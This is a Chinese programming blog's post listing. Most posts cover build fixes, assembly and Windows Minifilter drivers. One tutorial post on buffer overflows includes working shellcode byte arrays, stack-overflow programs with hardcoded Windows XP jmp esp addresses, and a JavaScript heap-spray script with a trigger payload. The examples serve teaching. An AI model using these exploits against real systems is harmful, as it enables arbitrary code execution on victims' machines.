首页
归档
友情链接
关于
Search
1
在wsl2中安装archlinux
241 阅读
2
nvim番外之将配置的插件管理器更新为lazy
133 阅读
3
2018总结与2019规划
133 阅读
4
从零开始配置 vim(15)——状态栏配置
122 阅读
5
PDF标准详解(五)——图形状态
103 阅读
软件与环境配置
读书笔记
编程
Thinking
FIRE
菜谱
翻译
登录
Search
标签搜索
c++
c
学习笔记
windows
文本操作术
编辑器
NeoVim
Vim
win32
emacs
VimScript
读书笔记
linux
elisp
文本编辑器
Java
反汇编
OLEDB
数据库编程
投资理财
Masimaro
累计撰写
363
篇文章
累计收到
32
条评论
首页
栏目
软件与环境配置
读书笔记
编程
Thinking
FIRE
菜谱
翻译
页面
归档
友情链接
关于
搜索到
363
篇与
的结果
2016-11-07
Error: Your project contains C++ files but it is not using a supported native build system
我在编写有关JNI的代码的时候回报这个错误,我在网上搜了相关的资料后,找到了一篇文章解决了这个问题,点击这里查看这篇文章,我在照着这篇文章尝试的时候,总有一些错误,现在我把自己详细的解决流程贴出来,供大家参考。首先在工程目录下的gradle.properties文件的末尾加上一句:Android.useDeprecatedNdk=true如图:然后再在文件build.gradle(Module:app)里面的buildTypes类中添加一个这样的方法sourceSets { main { jni.srcDirs = [] } }如下图所示这样就可以编译成功了
2016年11月07日
9 阅读
0 评论
0 点赞
2016-10-31
缓冲区溢出漏洞
缓冲区溢出的根本原因是冯洛伊曼体系的计算机并不严格的区分代码段和数据段,只是简单的根据eip的指向来决定哪些是代码,所以缓冲区溢出攻击都会通过某种方式修改eip的值,让其指向恶意代码。缓冲区溢出攻击一般分为堆缓冲区溢出攻击和栈缓冲区溢出攻击栈缓冲区溢出攻击栈缓冲区溢出攻击的一般是传入一个超长的带有shellcode的字符缓冲,覆盖栈中的EIP值,这样当函数执行完成返回后就会返回到有shellcode的地方,执行恶意代码,下面我们通过一个例子详细的分析void msg_display(char * buf) { char msg[200]; strcpy(msg,buf); cout<<msg<<endl; }这个函数分配了200个字节的缓冲区,然后通过strcpy函数将传进来的字符串复制到缓冲区中,最后输出,如果传入的字符串大于200的话就会发生溢出,并向后覆盖堆栈中的信息,如果只是一些乱码的话那个最多造成程序崩溃,如果传入的是一段精心设计的代码,那么计算机可能回去执行这段攻击代码。在调用函数时它的汇编代码大致上是这样的;调用函数 push buf call msg_display ;函数调用完成后平衡堆栈 add esp, 4 ;函数中的汇编代码 ;保留原始的ebp,在release版中没有ebp push ebp mov eb, esp ;这个具体是多少我也 不太清楚,VC上默认给48h再加上函数中所有局部变量的大小计算得到的是110h sub esp 110h ;....其他操作 ;返回 mov esp,ebp pop ebp ret函数的堆栈大致如下如果传入的buf长度小于等于200的话,那么这个函数不会有问题,如果传入的大于200就会向后面溢出,覆盖后面的内容,一般针对这种漏洞,攻击者会精心构造一个字符串,这段字符串大致是由这些内容组成:204个不为0的随机字符 + jmp esp指令的地址+shellcode这样在最后执行完函数中的操作时在返回时会将eip的值改成jmp esp的指令所在的地址,CPU就会执行esp所指向的位置的指令,而这个位置正是攻击者通过溢出手段所提供的攻击代码。至于这个jmp esp的地址在原始程序所生成的汇编代码中有大量这样的代码,通过暴力搜索很容易得到,覆盖之后,在函数返回之前的时候堆栈的环境大致如下ret指令与call是互逆的,首先ret地址出栈,这样esp就指向后面的攻击代码,然后根据eip指向的地址去执行jmp esp的代码,这样就能顺利的去执行攻击代码了。下面是一个利用缓冲区溢出攻击的例子unsigned char shellcode[] = "\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53" "\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6" "\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA" "\x7b\x1d\x80\x7c" "\x52\x8D\x45\xF4\x50" "\xFF\x55\xF0" "\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E" "\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4" "\x50\xB8" "\xc7\x93\xbf\x77" "\xFF\xD0"; void func1(char* s) { char buf[10]; strcpy(buf, s); } void func2(void) { printf("Hacked by me.\n"); exit(0); } int main(int argc, char* argv[]) { char badCode[] = "aaaabbbb2222cccc4444ffff"; DWORD* pEIP = (DWORD*)&badCode[16]; //*pEIP = (DWORD)func2; *pEIP = (DWORD)shellcode; func1(badCode); return 0; }这个代码是xp的debug模式下运行,func1会出现缓冲区溢出的漏洞,在主函数中我们利用了这个漏洞,传入了一个超长的字符串,其中shellcode是一个开启command part对应的机器码,在主函数中我们首先定义了一个非法的字符串,然后将字符串的弟16个字符赋值为shellcode的首地址,为什么这里是16个呢,稍作计算就可以得出这个数,在func1中提供的缓冲是10个,根据内存对齐,其实它是占12个字节,接着在他的下面是老ebp,占4个字节,所以eip的返回地址是在buf + 12 + 4 = buf + 16的位置。这样就将原始的老eip的地址修改为了shellcode的首地址。而如果我们打开下面注释的语句,而将之前的那句给pEip赋值的语句注释起来,那么将会执行func2,通过这句将ret的地址修改为func2的首地址,那么自然会执行func2函数,需要注意的是在shellcode中一般都会在结束的位置调用一个ExitProcess,因为我们通过缓冲区溢出将代码写到了堆栈上,如果代码接着向下执行,就会执行堆栈上的无效代码,这样程序肯定会崩溃,而被攻击者也会发现。另外一点是对于像strcpy这样根据字符串末尾的\0来做为拷贝结束的标志的函数,利用它的漏洞则shellcode的中简不能出现\0,即使有也要用其他类似的指令替代就向把mov eax, 0这样的替换成xor eax, eax这个是在本地做的缓冲区溢出的例子,这个例子是自己攻击自己,这样起不到攻击的效果,下面这个是通过文件的方式进行攻击。#include <stdio.h> #include <windows.h> #define PASSWORD "1234567" int verify_password (char *password) { int authenticated; char buffer[44]; authenticated=strcmp(password,PASSWORD); strcpy(buffer,password);//over flowed here! return authenticated; } int main() { int valid_flag=0; char password[1024]; HANDLE hFile = NULL; DWORD dwReadLength = 0; LoadLibrary("user32.dll");//prepare for messagebox hFile = CreateFile("password.txt", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (NULL == hFile) { printf("open file error!\n"); return 0; } ReadFile(hFile, password, 1024, &dwReadLength, NULL); if (0 == dwReadLength) { printf("read error!\n"); return 0; } valid_flag = verify_password(password); if(valid_flag) { printf("incorrect password!\n"); } else { printf("Congratulation! You have passed the verification!\n"); } CloseHandle(hFile); return 0; }同样,这个程序发生溢出漏洞主要的位置是在verify_password 函数中的strcpy中,函数提供了44个字节的缓冲,但是我们传入的字符可能大于44,而这次攻击的主要代码是放在password.txt这个文件中,我们使用16进制的查看器,查看这个文件,得到如下结果根据计算可以得出,修改eip的位置应该是在44 + 4 + 4 = 52 = 0x34 位置进行,而在xpsp3中0x77d29353对应的是jmp esp的地址,这个是我调试的图仔细的对照发现,这段汇编码 所对应的机器码与文件中后面的部分完全一样。这样就完成了一个shellcode的注入下面的例子是一个远程注入的例子,通过虚拟机模拟两台计算机之间的通信void msg_display(char * buf) { char msg[200]; strcpy(msg,buf);// overflow here, copy 0x200 to 200 cout<<"********************"<<endl; cout<<"received:"<<endl; cout<<msg<<endl; }服务器端的程序主要功能是从客户端接收数据,并调用该函数打印字符串,从函数的代码来看,如果传入的字符少于200则不会出现问题,如果大于200,则会发生溢出。所以在这种情况下,攻击者从客户端发送一段精心构造的字符,进行缓冲区溢出攻击,执行它的恶意代码,原理与本地端程序的相同,下面是shellcode部分的代码unsigned char buff[0x200] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" "aaaaa"//200个a "\x53\x93\xd2\x77"//jmp esp "\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53" "\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6" "\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA" "\x7b\x1d\x80\x7c" //loadlibrary地址 "\x52\x8D\x45\xF4\x50" "\xFF\x55\xF0" "\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x61\x6c\x63\x89\x45\xF4\xB8\x2e\x65\x78\x65" "\x89\x45\xF8\xB8\x20\x20\x20\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4" "\x50\xB8" "\xc7\x93\xbf\x77" //sytem函数地址 system("calc.exe"); "\xFF\xD0" "\x53\xb8\xfa\xca\x81\x7c"//ExitProcess Address "\xff\xd0"//ExitProcess(0); ;服务器是采用release的方式编译的,所以在调用函数的时候没有进行ebp的压栈,所以在弟200个字符的位置就是jmp esp的地址,后面紧跟着攻击者构建的攻击代码,这段机器码主要的功能是弹出一个计算器从上面的例子中我们看到许多shellcode都是采用16进制的方式硬编码出来的,而我们不可能真的拿16进制的机器码去编写程序,所以有的时候为了实现特定的功能,可以先使用C编写相关的代码,然后通过调试在VS中点击ALT + 8得到对应的汇编码,在汇编的界面上点击右键,选择显示汇编码那个选项就可以得到上面调试图片的代码,前面是地址,后面是汇编对应的机器码。堆栈协同攻击在使用栈溢出攻击的时候经常会破坏原始的堆栈,这样在执行完成攻击代码后如果不结束程序,一般程序都会崩溃,堆栈协同攻击是将攻击代码写入到堆中,对于栈来说只覆盖ret位置的地址,让其指向一个特定的地址,并将攻击代码写到这个地址上。通过缓冲区溢出的方式将栈中保存的eip的值修改为0x0c0c0c0c,然后在堆中分配200M的内存,将这200M分为200分,每份1M,都填充为、\0x90\0x90\0x90.......\0x90 + shellcode + 0x00...0x00的方式,这样在函数返回时会返回到对应的地址,执行攻击代码。在这有几个问题。为什么需要给填充那么多90也就是Nop指令?我们说上面给的地址只是假想的地址,并不能保证分配的堆内存一定是这个首地址,如果堆内存以shellcode开头那么如果这个时候0x0c0c0c0c很有可能正好落在shellcode的某个指令里面,可能会发生指令截断,而执行错误的指令,所以前面以nop指令填充,Nop占一个字节,所以可以避免这种问题为什么要用0x0c0c0c0c这种对称的值做为返回地址?要回答这个问题我们先假设这样一个情景,现在有一个获取文件全路径的函数,先通过某个方式得到文件所在目录szPath,然后根据用户传入的名称调用strcat将两个字符串进行拼接,然后最后返回,这个时候strcat由于不校验缓冲区的大小,就产生了一个可以利用的漏洞,但是由于返回的szPath路径长度不确定,那么我们传入多少个字符可以刚好溢出到ret的地址呢?有一种方法就是将所有的四个字节都写入这个返回地址,就像0x12345678 0x12345678 0x12345678这种,但是由于我们不知道szPath具体会是多少个字符,如果比我们预计的多一个那么覆盖到的就可能是0x34567812如果少一个则会是0x78123456,这些都不是我们想要的,所以采用0x0c0c0c0c这种对称的返回地址不管你的szPath是多少个字节,我都可以正确的将这个地址覆盖到ret的位置。为什么要分配200M这么到的空间,而且怎么保证这个0x0c0c0c0c一定落在这200M里面?由于系统是随机分配的堆内存,所以分配的这块内存的首地址具体实多少谁也不知道,也不能保证这个0x0c0c0c0c一定会落在这200M空间内,所以我们分配这么大的空间,分为200份,每份都有这个shellcode,纯粹只是为了加大这个0x0c0c0c0c命中的概率,毕竟相比于shellcode不到几K的大小200M其实是很大的。这个方法跳转到的地址是不确定的,有一定的盲目性,所以又叫做盲跳攻击下面是一个利用javascript写得堆栈协同攻击的例子:<script language="javascript"> var codeTemp = "%u558B%uEC33%uC050%u5050%uC645%uF44D%uC645%uF553" +"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6" +"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA" +"\x7b\x1d\x80\x7c" //loadlibrary地址 +"\x52\x8D\x45\xF4\x50" +"\xFF\x55\xF0" +"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x61\x6c\x63\x89\x45\xF4\xB8\x2e\x65\x78\x65" +"\x89\x45\xF8\xB8\x20\x20\x20\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4" +"\x50\xB8" +"\xc7\x93\xbf\x77" //sytem函数地址 system("calc.exe"); +"\xFF\xD0" +"\x53\xb8\xfa\xca\x81\x7c"//ExitProcess Address +"\xff\xd0"//ExitProcess(0); var codeTemp22 = "%u8B55%u33EC%u50C0%u5050%u45C6%u4DF4%u45C6%u53F5" //+"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6" +"\u45C6\u56F6\u45C6\u43F7\u45C6\u52F8\u45C6\u54F9\u45C6\u2eFA\u45C6" +"\u44FB\u45C6\u4CFC\u45C6\u4CFD\uBA90" //s+"\uC644\uFC45\uC64C\uFD45\uBA4C" +"\u1d7b\u7c80" //loadlibrary地址 +"\u8D52\uF445\uFF50" +"\uF055" +"\u8B55\u83EC\u2CEC\u63B8\u6c61\u8963\uF445\u2eB8\u7865\u8965" +"\uF845\u20B8\u2020\u8922\uFC45\uD233\u5588\u8DFF\uF445" +"\uB850" +"\u93c7\u77bf" //sytem函数地址 system("calc.eue"); +"\uD0FF" +"\ub853\ucafa\u7c81"//EuitProcess Address +"\ud0ff"//EuitProcess(0); var shellcode=unescape(codeTemp22) ; var nop=unescape("%u9090%u9090"); while (nop.length<= 0x100000/2) { nop+=nop; } nop = nop.substring(0, 0x100000/2 - 32/2 - 4/2 - shellcode.length - 2/2 ); var slide = new Array();//fill 200MB heap memory with our block for (var i=0; i<200; i++) { slide[i] = nop + shellcode; } </script>这段代码首先利用循环分配了200M的空间,将每兆都写入shellcode加上nop指令,如果浏览器打开这个段代码将会在某个堆上面写入这段shellcode,如果浏览器被人利用溢出攻击将返回地址改为0x0c0c0c0c,那么很可能会跳转到这段代码上面,在测试的时候可以使用dll注入的方式,制造一个缓冲区溢出漏洞,然后在触发它就可以实现这个。下面是dll中用来触发溢出的代码char *szOverflowBuff[] = "\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x0c\x0c\x0c\x0c"; void test_overflow() { char szBuf[28]; strcpy(szBuf, szOverflowBuff); }那么在debug版本下这个字符串刚好能够覆盖ret的地址,所以如果IE首先打开了之前的脚本,将shellcode写入到内存中的,然后再执行这个代码,就会覆盖ret在返回返回的时候跳转到shellcode的位置执行shellcode的内容。
2016年10月31日
13 阅读
0 评论
0 点赞
2016-10-23
用call和ret实现子程序
ret和call是另外两种转移指令,它们与jmp的主要区别是,它们还包含入栈和出栈的操作。具体的原理如下:ret操作相当于:pop ip(直接将栈顶元素赋值给ip寄存器)call s的操作相当于:push ip jmp s(先将ip的值压栈,再跳转)retf的操作相当于:pop ip pop cscall dword ptr s相当于:push cs push ip这两组指令为我们编写含子函数的程序提供了便利,一般的格式如下:main: ......... call s ........ a s: ........ call s1 .......... b ret s1: .......... call s2 ......... c ret s2: ......... d call s3 ret s3: ........ ret分析以上的程序,假设call的下一条指令的偏移地址分别为:a、b、c、d随着程序的执行,ip指向call指令,CPU将这条指令放入指令缓冲器,执行上一条指令,然后ip指向下一条指令,ip = a。执行call指令,根据call的原理先执行a入栈,此时栈中的情况如下然后跳转到s,执行到call指令处时,ip = b,b首先入栈,然后跳转到s1执行到s1处的call指令时,ip = c,c入栈,然后跳转到s2执行到s2处的call指令时,ip = d,d入栈,然后跳转到s3执行到s3处的ret指令时,栈顶元素出栈,ip = d,程序返回到s2中,到ret时,ip = c,程序返回到s1,再次执行ret,ip = b,程序返回到s,执行ret,ip = a,程序返回到main中,接下来正常执行main中的代码,知道整个程序结束。
2016年10月23日
27 阅读
0 评论
0 点赞
2016-10-23
汇编转移指令jmp原理
在计算机中存储的都是二进制数,计算机将内存中的某些数当做代码,某些数当做数据。在根本上,将cs,ip寄存器所指向的内存当做代码,指令转移就是修改cs,ip寄存器的指向,汇编中提供了一种修改它们的指令——jmp。jmp指令可以修改IP或cs和IP的值来实现指令转移,指令格式为:”jmp 标号“将指令转移到标号处,例如:CODES SEGMENT ASSUME CS:CODES START: MOV AX,0 jmp s inc ax s: mov ax,3 MOV AH,4CH INT 21H CODES ENDS END START通过单步调试可以看出在执行jmp后直接执行s标号后面的代码,此时ax为3,。jmp s所对应的机器码为"EB01",在“Inc ax”后面再加其他的指令(加两个 nop指令)此时jmp所对应的机器码为"EB03",每一个nop指令占一个字节,在添加或删除它们之间的代码可以看到jmp指令所对应的机器码占两个字节,第一个字节的机器码并不发生改变,改变的是第二个字节的内容,并且第二个字节的内容存储的是跳转目标指令所在内存与jmp指令所在内存之间的位移。其实cup在执行jmp指令时并不会记录标号所在的内存地址,而是通过标号与jmp指令之间的位移,假设jmp指令的下一条指令的地址为org,位移为idata,则目标的内存地址为dec = org + idata。(idata有正负之分)在CPU中有指令累加器称之为CA寄存器, 程序每执行一条,CA的值加1,jmp指令后可以有4中形式“jmp short s、jmp、 s jmp near ptr s、jmp far ptr s”编译器在翻译时,位移所对应的内粗大小为1、2、2、4(分别是cs和ip所对应的位移)。都是带符号的整型。jmp指令的跳转分为两种情况:向前跳转和向后跳转。向后跳转:jmp (.....)s ...... ...... s:......这种情况下,编译器将jmp指令读完后,读下一条指令,并将CA加1,一直读到相应的标号处,此时CA的值就是位移,根据具体的伪指令来分配内存的大小(此时的数应该为正数)向前跳转 :s:....... ........ jmp (......) s编译器在遇到标号时会在标号后添加几个nop指令("jmp short s、jmp、 s jmp near ptr s、jmp far ptr s"分别添加1,2,2,4个),读下一条指令时将CA寄存器的值加1,得到对应的位移,生成机器码(此时为负数).这两种方式分别得到位移后,在执行过程中,利用上述公式计算出对应的地址,实现指令的转移下面的一段代码充分说明了jmp的这种实现跳转的机制:assume cs:code code segment mov ax,4c00h int 21h start: mov ax,0 s: nop nop mov di,offset s mov si,offset s2 mov ax,cs:[si] mov cs:[di],ax s0: jmp short s s1: mov ax,0 int 21h mov ax,0 s2: jmp short s1 nop code ends end start通过以上的分析可以得出,几个jmp指令所占的空间为2个字节,一个保存jmp本省的机器码,EB,另一个保存位移。因此两个nop指令后面的四句是将s2处的“jmp short s1”所对应的机器码拷贝到s处,利用debug下的-u命令可以看出该处的机器码为“EB F6” f6转化为十进制是-10.执行到s0处时,jmp指令使CPU下一次执行s处的代码,“EB F6”对应的操作利用公式可以得出IP = A - A = 0,下一步执行的代码是“MOV AX,4C00H”,也就是说该程序在此处结束。用-t命令单步调试:
2016年10月23日
33 阅读
0 评论
0 点赞
2016-10-23
C语言中处理结构体的原理
汇编中有几种寻址方式,分别是直接寻址:(ds:[idata])、寄存器间接寻址(ds:[bx])、寄存器相对寻址(ds:[bx + idata]、ds:[bx + si])基址变址寻址(ds:[bx + si])、相对基址变址寻址([bx + si + idata])。结构体的存储逻辑图如下:(以下数据表示某公司的名称、CEO、CEO的福布斯排行、收入、代表产品)现在假设公司的CEO在富豪榜上的排名为38,收入增加了70,代表产品变为VAX,通过汇编编程修改上述信息,以下是相应的汇编代码:(假设数据段为seg)mov ax,seg mov ds,ax mov bx,0 mov word ptr ds:[bx + 12],38 add [bx + 14],70 mov si,0 mov byte ptr [bx + 10 + si],'V' inc si mov byte ptr [bx + 10 + si],'A' inc si mov byte ptr [bx + 10 + si],'X'对应的C语言代码可以写成:struct company { char cn[3]; char name[9]; int pm; int salary; char product[3]; }; company dec = {"DEC","Ken Olsen",137,40,"PDP"}; int main() { int i; dec.pm = 38; dec.salary += 70; dec.product[i] = 'V'; ++i; dec.product[i] = 'A'; ++i; dec.product[i] = 'X'; return 0; }对比C语言代码和汇编代码,可以看出,对于结构体变量,系统会先根据定义分配相应大小的空间,并将各个变量名与内存关联起来,结构体对象名与系统分配的空间的首地址相对应(定义的结构体对象的首地址在段中的相对地址存储在bx中),即在使用dec名时实际与汇编代码“mov ax,seg” "mov ds,ax"对应,将数据段段首地址存入ds寄存器中,系统根据对象中的变量名找到对应的偏移地址,偏移地址的大小由对应的数据类型决定,如cn数组前没有变量,cn的偏移地址为0,cn所在的地址为 ds:[bx],cn为长度为3的字符型数组,在上一个偏移地址的基础上加上上一个变量所占空间的大小即为下一个变量的偏移地址,所以name数组的首地址为ds:[bx + 3],这样给出了对象名就相当于给定了该对象在段中的相对地址(上述代码中的bx),给定了对象中的成员变量名就相当于给定了某一内存在对象中的偏移地址(ds:[bx + idata])。根据数组名可以找到数组的首地址,但数组中具体元素的访问则需要给定元素个数,即si的值来定位数组中的具体内存,C语言中的 ++i 相当于汇编中的 (add si ,数组中元素的长度)。根据以上的分析可以看出,构建一个结构体对象时,系统会在代码段中根据结构体的定义开辟相应大小的内存空间,并将该空间在段中的偏移地址与对象名绑定。对象中的变量名与该变量在对象所在内存中的偏移地址相关联,数组中的标号用于定位数组中的元素在数组中的相对位置。(对象名决定bx,变量名决定bx + idata,数组中的元素标号决定bx + idata + si)。
2016年10月23日
19 阅读
0 评论
0 点赞
2016-10-23
汇编debug与masm命令
汇编语言这块是我之前写在网易博客上的,不过那个账号基本已经作废了,所以现在抽个时间把当时的博客搬到CSDN上。汇编命令(编译器masm命令):找到masm所在的文件夹,我的在d:\MASM中,用cmd打开dos界面,输入“d:”切换到D盘,再输入“d:\MASM\masm”打开编译器中的masm程序得到如下结果:再输入路径+含".asm"的文件(若在当前文件夹中则不必输入路径),这个表示生成了一个“.obj”文件,在第二行若不输入任何内容则默认在当前文件夹下生成一个与“.asm”同名的“.obj”文件。下面几个直接输入空格,不生成这几个文件,知道提示所有工作都完成(0 warning error)再按照上述格式找到MASM文件中的link程序,输入所需的“.obj”文件的相对路径 ".exe"行后不输入任何内容表示在该文件夹下生成一个与“.obj”文件同名的“.exe”文件,到这里汇编程序的编译链接工作就完成了。下面是该程序的调试,输入“debug” + 执行程序的路径进入程序,-u命令:查看汇编代码;-t命令:执行下一条语句-g + 的内存:跳转到该内存所对应的语句(再用t命令执行该条命令)-r命令:查看寄存器的内容(后可直接接寄存器的名称,就只查看该寄存器的内容)-d命令:后接内存地址,查看改地址后面8 * 16个字节空间的地址(每行16个字节,共8行)后面是对应的字符‘.’表示没有该数字对应的字符加上地址范围的话就只查看该地址范围内存储的数据
2016年10月23日
23 阅读
0 评论
0 点赞
2016-10-23
Minfilter过滤框架
Minfilter过滤框架优势与传统的Sfilter过滤驱动相比,有这样几个优势Minfilter加载顺序更易控制,Sfilter加载是随意的,也就是说它在IO设备栈上的顺序是根据其创建的顺序决定的,越晚创建的,越排在设备栈的顶部,而Minfilter根据它的一个全局变量——altitude规定了它在设备栈上的顺序具有可卸载能力,一般的hook或者过滤框架在卸载时可能仍然有程序在访问它们的代码,所以如果在有程序访问其代码,而它又被卸载时容易导致蓝屏,这样就不具备可卸载能力。而Minfilter则不会导致蓝屏Minfilter是通过注册回调函数到Minfilter管理器中,由Minfilter管理器来负责调度这些函数,不直接与IO管理器接触,同时我们只需要注册我们感兴趣的回调函数,而不像Sfilter那样,需要提供一个统一的处理函数。所以相对来说更简单兼容性更好,由IO管理器下发的IRP 请求既可以交给Sfilter框架处理,也可以交给Minfilter处理,也可以给下层的设备驱动处理。名字处理处理更加容易,相对与Sfilter中需要另外顶一个一个NAME_CONTROL结构,还需要注意长短名来说,Minfilter更加简单,只需要一个简单的函数就可以获取文件的卷设备名称,文件全名,流名等信息Minfilter的基本框架应用层下发的IO请求首先交由IO管理器处理,IO管理器将请求封装为一个IRP请求包接着网下层分发,当分发到Minfilter管理器时,由Minfilter将IRP封装为一个CALLBACK_DATA结构,并根据不同的请求调用不同的回调函数,由回调函数处理并决定是否分发到下层。Altitude 变量这个变量是Minfilter提供的全局变量,用来规定这个Minfilter管理器在IO栈中的高度,值越大越位于上方,它们在IO管理器中的位置如下图在栈中的位置既不是越低越好也不是越高越好,而是根据其具体需求,比如杀毒操作应该放到加解密操作之前,加解密应该放到真实的读写操作之前,所以它们在栈中从上到下的顺序应该是杀毒、加解密、IO设备对象。所以微软为每个功能的Minfilter中的Altitude都提供了大致的位置值,杀毒的过滤驱动是在320000-329999,而加解密的是140000-149999Minfilter框架详解注册结构FLT_REGISTRATIONMinfilter中最主要的是各个回调函数,向其中注册回调函数实际是在填写一个叫做FLT_REGISTRATION的结构体,在Minfilter中定义了这样一个结构体的变量:const FLT_REGISTRATION fileMonitorRegistration = { sizeof( FLT_REGISTRATION ), // Size FLT_REGISTRATION_VERSION, // Version 0, // Flags ContextRegistration, // ContextRegistration fileMonitorCallbacks, // Operation callbacks fileMonUnload, // FilterUnload fileMonInstanceSetup, // InstanceSetup NULL, // InstanceQueryTeardown fileMonInstanceTeardownStart, // InstanceTeardownStart NULL, // InstanceTeardownComplete NULL, // GenerateFileName NULL, // GenerateDestinationFileName NULL // NormalizeNameComponent };fileMonitorCallbacks是一个函数的指针数组,保存了处理各种事件的回调函数,框架会根据具体的事件来调用这些函数。它的定义如下:const FLT_OPERATION_REGISTRATION fileMonitorCallbacks[] = { { IRP_MJ_CREATE, FLTFL_OPERATION_REGISTRATION_SKIP_PAGING_IO, HOOK_PreNtCreateFile, HOOK_PostNtCreateFile }, { IRP_MJ_CLEANUP, 0, HOOK_PreNtCleanup, NULL }, { IRP_MJ_WRITE, 0, HOOK_PreNtWriteFile, HOOK_PostNtWriteFile }, { IRP_MJ_SET_INFORMATION, 0, HOOK_PreNtSetInformationFile, HOOK_PostNtSetInformationFile }, { IRP_MJ_OPERATION_END } };利用这个结构体将各种IRP请求与处理它的回调函数绑定起来,每组请求都有两个两个处理它的回调函数,一个Pre表示具体设备处理这个请求之前,Post表示系统处理这个请求之后。拿Sfilter中的sfCreate举例来说,HOOK_PreNtCreateFile处理的是在它调用IoCallDriver之前的操作,而HOOK_PostNtCreateFile表示的是在sfCreate在等到底层设备完成文件创建之后的操作。fileMonUnload 这个函数相当于驱动中的DriverUnload函数,在进行驱动开发时由于很多时候不能进行安全的卸载所以很多驱动不提供DriverUnload函数,防止由于卸载时产生蓝屏,要卸载只能重启机器fileMonInstanceSetup :Minfilter像Sfilter一样,会遍历计算机中的所有卷设备,每当有一个被遍历到,就会绑定一个过滤驱动设备在卷设备上,这个过滤设备就是Minfilter中的Instance,这个函数会在绑定过滤设备对象时触发fileMonInstanceTeardownStart 在卸载这个过滤设备时调用它们的关系如下图所示Minfilter过滤驱动的注册启动与销毁在我们自己写的驱动中可以使用函数FltRegisterFilter来向Minfilter管理器注册这个驱动的相关信息,以便Minfilter管理器将我们的程序放入到IO设备栈的合适位置中,该函数的原型如下:NTSTATUS FltRegisterFilter( IN PDRIVER_OBJECT Driver, IN CONST FLT_REGISTRATION *Registration, OUT PFLT_FILTER *RetFilter ); 第一个参数就是驱动的驱动对象指针,这个可以从DriverEntry中获得。第二个参数是是我们定义的那个装有各种事件回调函数的一个结构体的指针,通过传入这个参数,将这组回调函数注册到Minfilter管理器中第三个参数是一个输出参数,如果注册成功,则会返回这个参数用来唯一标识这个过滤驱动,这个参数一般是保存在NULL_FILTER_DATA结构中的FilterHandle中注册完成后,就是启动这个过滤驱动,进行文件系统的过滤,启动使用函数FltStartFiltering,这个函数需要传入之前注册函数返回的那个过滤驱动的句柄当我们不需要使用这个过滤驱动时使用函数FltUnregisterFilter卸载,它同样需要传入这个过滤驱动句柄。下面是一个具体的例子NTSTATUS DriverEntry ( __in PDRIVER_OBJECT DriverObject, __in PUNICODE_STRING RegistryPath ) { NTSTATUS status; UNREFERENCED_PARAMETER( RegistryPath ); //注册回调函数 status = FltRegisterFilter( DriverObject, &FilterRegistration, &NullFilterData.FilterHandle ); ASSERT( NT_SUCCESS( status ) ); if (NT_SUCCESS( status )) { //如果注册成功则开启minfilter监控 status = FltStartFiltering( NullFilterData.FilterHandle ); if (!NT_SUCCESS( status )) { //如果失败则卸载注册的回调 FltUnregisterFilter( NullFilterData.FilterHandle ); } } DbgPrint("Minifilter started\n"); return status; }对于卸载来说,需要注意的是很多驱动本身是不支持卸载的也就是不提供DriverUnload函数,因为系统中的驱动是被所有进程调用的,如果某个进程正在调用而另外一个进程正在卸载这个驱动,那么很可能会产生蓝屏。回调函数Minfilter过滤驱动中处理各个请求的回调函数一般都有两个:一个在IO设备处理之前,一个在IO设备处理之后。下面将称它们问Pre函数和Post函数Pre函数typedef FLT_PREOP_CALLBACK_STATUS (*PFLT_PRE_OPERATION_CALLBACK) ( IN OUT PFLT_CALLBACK_DATA Data, IN PCFLT_RELATED_OBJECTS FltObjects, OUT PVOID *CompletionContext );这个函数中的Data是对IRP的一个封装,与操作IRP相似,Minfilter向R3层返回结果使用的代码与普通的NT模型中的相同Data->IoStatus.Status = STATUS_SUCCESS; Data->IoStatus.Information = 0;另外过滤函数返回的值时直接返回给Minfilter管理器进行处理,而Sfilter返回的值是直接交给IO管理器,回调函数的返回值一般有这样几个常用的:FLT_PREOP_SUCCESS_WITH_CALLBACK:表示处理请求成功,接着往下发这个请求,下层驱动处理完这个请求后可以触发POST函数的调用FLT_PREOP_SUCCESS_NO_CALLBACK:与上述返回值类似,只是下层驱动处理完这个请求后不会触发POST函数FLT_PREOP_COMPLETE:请求处理完成,返回这个值,Minfilter将不会将请求继续往下发Post函数Post函数的原型如下:typedef FLT_POSTOP_CALLBACK_STATUS (FLTAPI *PFLT_POST_OPERATION_CALLBACK) ( __inout 